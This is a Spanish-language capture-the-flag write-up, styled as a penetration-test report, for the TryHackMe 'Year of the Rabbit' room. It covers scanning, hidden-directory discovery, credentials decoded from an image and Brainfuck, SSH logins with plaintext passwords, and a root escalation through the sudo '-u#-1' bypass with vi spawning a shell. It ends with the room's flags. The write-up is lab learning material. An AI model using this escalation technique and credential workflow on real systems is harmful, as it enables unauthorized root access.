

## Informe Técnico

## Year of the Rabbit



Este documento es de aprendizaje y contiene información sensible.

**18/10/2022**



---

## Contenido

TryHackMe.....	3
Objetivo.....	3
Laboratorio.....	3
Descubrimiento y escaneo .....	4
WhichSystem.py .....	4
Nmap .....	4
GOBUSTER .....	5
STRINGS .....	8
HYDRA .....	10
FTP .....	10
Brainfuck .....	11
Evaluación de vulnerabilidades .....	12
Explotación usuario normal.....	13
Explotación usuario root .....	14

---

# TryHackMe

## Objetivo

A BI3ak se le encargó la realización de una prueba de penetración interna hacia TryHackMe. Una prueba de penetración interna es un ataque dedicado contra sistemas conectados internamente. El enfoque de esta prueba es realizar ataques, similares a los de un hacker e intentar infiltrarse en los sistemas internos del laboratorio de TryHackMe - el dominio **Year of the Rabbit**. El objetivo general era evaluar la red, identificar los sistemas y explotar los fallos mientras se informaba de los hallazgos TryHackMe.

Al realizar la prueba de penetración interna, se identificaron varias vulnerabilidades alarmantes en la red de **Year of the Rabbit**. Al realizar los ataques, OS-BI3ak fue capaz de acceder a múltiples máquinas, principalmente debido a parches obsoletos y configuraciones de seguridad deficientes. Durante las pruebas, BI3ak tuvo acceso a nivel administrativo a múltiples sistemas. Todos los sistemas fueron explotados con éxito y se les concedió acceso.

## Laboratorio

10.10.113.137 – **Year of the Rabbit**



# Descubrimiento y escaneo

## WhichSystem.py

mediante el tty, sabemos que es una maquina Linux.

```
whichSystem.py 10.10.113.137
```

```
10.10.113.137 (ttl -> 61): Linux
```

## whatweb 10.10.113.137

```
http://10.10.113.137 [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[10.10.113.137], Title[Apache2 Debian Default Page: It works]
```

## Nmap

```
sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.113.137
```

```
PORT      STATE SERVICE
21/tcp    open  ftp      syn-ack ttl 61
22/tcp    open  ssh      syn-ack ttl 61
80/tcp    open  http     syn-ack ttl 61
```

Server IP Address	Ports Open
10.10.113.137	21,22,80

```
nmap -sC -sV -p21,22,80 10.10.113.137
```

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.2
22/tcp    open  ssh      OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| 2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| 256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_ 256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_ http-title: Apache2 Debian Default Page: It works
|_ http-server-header: Apache/2.4.10 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
nmap --script=vuln -p21,22,80 10.10.66.65
```

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
|_ http-dombased-xss: Couldn't find any DOM based XSS.
|_ http-csrf: Couldn't find any CSRF vulnerabilities.
|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

Tras inspeccionar las cabeceras HTTP de la página de aterrizaje en el puerto 80 descubrimos que se está ejecutando bajo Apache 2.4.10.



debian

## Apache2 Debian Default Page

### It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at `/var/www/html/index.html`) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

### Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Debian tools. The configuration system is **fully documented in `/usr/share/doc/apache2/README.Debian.gz`**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the `apache2-doc` package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

```
/etc/apache2/
|-- apache2.conf
|   |-- ports.conf
|-- mods-enabled
|   |-- *.load
|   |-- *.conf
```

## GOBUSTER

```
gobuster dir -u http://10.10.113.137/assets/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/assets      (Status: 301) [Size: 315] [-> http://10.10.113.137/assets/]
```

Encontramos dos archivos

RickRolled.mp4      2020-01-23 00:34      384M

style.css      2020-01-23 00:34      2.9K

<http://10.10.113.137/assets/RickRolled.mp4>



en el video se escucha al fondo la palabra “i’ll put you out of your mesery ”burp you’re looking in the wrong place



Sin embargo en el video se escucha que estamos en el directorio incorrecto.

Por lo que inspeccionamos el archivo css.

```
/* Nice to see someone checking the stylesheets.

Take a look at the page: /sup3r_s3cr3t_fl4g.php

*/
```

procedemos ingresar a la pagina.

Nos aparece un mensaje Word of advice.... Turn off your javascript

procedemos a apagar javascript

```
<html>
  <head>
    <title>sup3r_s3cr3t_fl4g</title>
  </head>
  <body>
    <noscript>Love it when people block Javascript...<br></noscript>
    <noscript>This is happening whether you like it or not... The hint is in the video. If you're stuck here then you're just going to have to bite the
bullet!<br>Make sure your audio is turned up!<br></noscript>
    <script>
      alert("Word of advice... Turn off your javascript...");
      window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ?autoplay=1";
    </script>
    <video controls>
      <source src="/assets/RickRolled.mp4" type="video/mp4">
    </video>
  </body>
</html>
```



---

## Burp

Inspeccionamos los paquetes en BURP SUITE

dando Forward, obtenemos un directorio

GET /intermediary.php?hidden\_directory=/WExYY2Cv-qU HTTP/1.1

Host: 10.10.113.137

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9



Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

obtenemos una imagen

### Index of /WExYY2Cv-qU

Name	Last modified	Size	Description
 <a href="#">Parent Directory</a>	-		
 <a href="#">Hot_Babe.png</a>	2020-01-23 00:34	464K	

Apache/2.4.10 (Debian) Server at 10.10.113.137 Port 80



## STRINGS

### Inspeccionamos la imagen Obtenemos un user y posible password

Eh, you've earned this. Username for FTP is **ftpuser**

One of these is the password:

Mou+56n%QK8sr

1618B0AUshw1M

A56lpIl%1s02u

vTFbDzX9&Nmu?

FfF~sfu^UQZmT

8FF?iKQ27b~V0

ua4W~2-@y7dE\$

3j39aMQQ7xFXT

Wb4--CTc4ww\*-

u6oY9?nHv84D&

0iBp4W69Gr\_Yf

TS\*%miyPsGV54

C77O3Fly0c0sd

O14xEhgg0Hxz1

5dpv#Pr\$wqH7F

1G8Ucoce1+gS5

0pln!%f0~Jw71

0kLoLzfhhq8u&

kS9pn5yiFGj6d

zeff4#!b5lb\_n

rNT4E4SHDGBkl

KKH5zy23+S0@B

3r6PHtM4NzJjE

gm0!!EC1A0I2?

HPHrlj00RaDEi

7N+J9BYSp4uaY

PYKt-ebvtmWoC

3TN%cD\_E6zm\*s

eo?@c!ly3&=0Z

nR8&FXz\$ZPeIN

eE4Mu53UkKHx#

86?004F9!o49d

SNGY0JjA5@0EE





trm64++JZ7R6E

---

3zJuGL~8KmiK^

CR-ltthsH%9du

yP9kft386bB8G

A-\*eE3L@!4W5o

GoM^\$82l&GA5D

1t\$4\$g\$I+V\_BH

0XxpTd90Vt8OL

j0CN?Z#8Bp69\_

G#h~9@5E5QA5l

DRWNM7auXF7@j

Fw!if\_=kk7Oqz

92d5r\$uyw!vaE

c-AA7a2u!W2\*?

zy8z3kBi#2e36

J5%2Hn+7l6QLt

gL\$2fmgnq8vi\*

Etb?i?Kj4R=QM

7CabD7kwY7=ri

4ualRX~-cY6K4

kY1oxscv4EB2d

k32?3^x1ex7#o

ep4IPQ\_=ku@V8

tQxFJ909rd1y2

5L6kpPR5E2Msn

65NX66Wv~oFP2

LRAQ@zcBphn!1

V4bt3\*58Z32Xe

ki^t!+uqB?Dyl

5iez1wGXKfPKQ

nJ90XzX&AnF5v

7EiMd5!r%=18c

wYyx6Eq-T^9#@

yT2o\$2exo~UdW

Zul-8!Jyl6iRS

PTKM6RsLWZ1&^

3O\$oc~%XUIRO@

KW3fjzWpUGHSW

nTzl5f=9eS&\*W

WS9x0ZF=x1%8z

Sr4\*E4NT5fOhS



zLH%Ot0Bw&c%9

[illegible]



---

Al inspeccionar el archivo podemos encontrar que es un lenguaje de programación esotérico.

Podemos ver algunas referencias de programación esotérico por lo que en especial este lenguaje es brainfuck

<https://blog.grio.com/2017/04/esoteric-programming-languages-and-you.html>

## Brainfuck

```
+++++ ++++[->++++ +++++<]>+ +++,< +++++ [->+ +<] >++++ +,<+ +[->-<]> -----,<+ + [->+ +<]>+ +++,< +++++ +[-> -----<]> -----,<+ +++++[->-----<]> -,<+ +++++ +[->+ +++++ +<]> +++++, +++++ +++, -,<+ +++++ +<[->-----<]>-- -----<]>-- -----, ---,< +++++ +<[->++++ +++++<]>+ +++,< +++++[->++++ +<]>+ +,, +++++, -----, + +,<+ +<[-> -----<]> -----,<+ +++++[->-----<]> -----,<+ +++++[->-----<]> -,<+ +++++[->++++ +<]>,<+ +<[->+ +<]> +++++ +,<+ +<[->++++ +<]>+ +<,< +++++ +<[-> -----<]>-- -----,<+ +++++[->++++ +<]> +<,<+ +<[->-----<]> -----,< ++++++ [->-----<]> >---,< +++++ +++++[->++++ +++++<]>+ +++++,< +++++ +<[->-----<]> >-----,<+ +,<+ ++++++ [->+ +++++<]>+,<+ +<[->-----<]>-- -----,<+ +++++<
```

User: eli

Password: DSpDiM1wAEwid



---

## Evaluación de vulnerabilidades

Al recopilar la información de cada archivo se depuro los datos y se obtuvo varias credenciales:

User: eli

Password: DSpDiM1wAEwid



## Explotación usuario normal

Trataremos de iniciar sesión mediante ssh con las credenciales obtenidas.

```
ssh eli@10.10.113.137 -p 22
DSpDiM1wAEwid
```

1 new message

Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

END MESSAGE

```
find / -name s3cr3t 2>/dev/null
/usr/games/s3cr3t
```

```
cd /usr/games/s3cr3t/
ls -al
.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
```

```
cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
```

Your password is awful, Gwendoline.

It should be at least 60 characters long! Not just MniVCQVhQHUNi

Honestly!

Yours sincerely

-Root

```
ssh gwendoline@10.10.113.137 -p 22
MniVCQVhQHUNi
```

```
whoami
```

gwendoline

```
ls
```

user.txt

```
cat user.txt
```

obtenemos la CTF

THM{1107174691af9ff3681d2b5bdb5740b1589bae53}



---

## Explotación usuario root

ahora buscamos algún tipo de escalada de privilegios

```
sudo -l
```

Matching Defaults entries for gwendoline on year-of-the-rabbit:

```
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User gwendoline may run the following commands on year-of-the-rabbit:

```
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
```

vemos que podemos ejecutar /bin/nano como root

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

```
:
```

```
!/bin/bash
```

```
whoami
```

```
root
```

```
ls
```

```
root.txt
```

```
cat root.txt
```

```
obtenemos la CTF
```

```
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}
```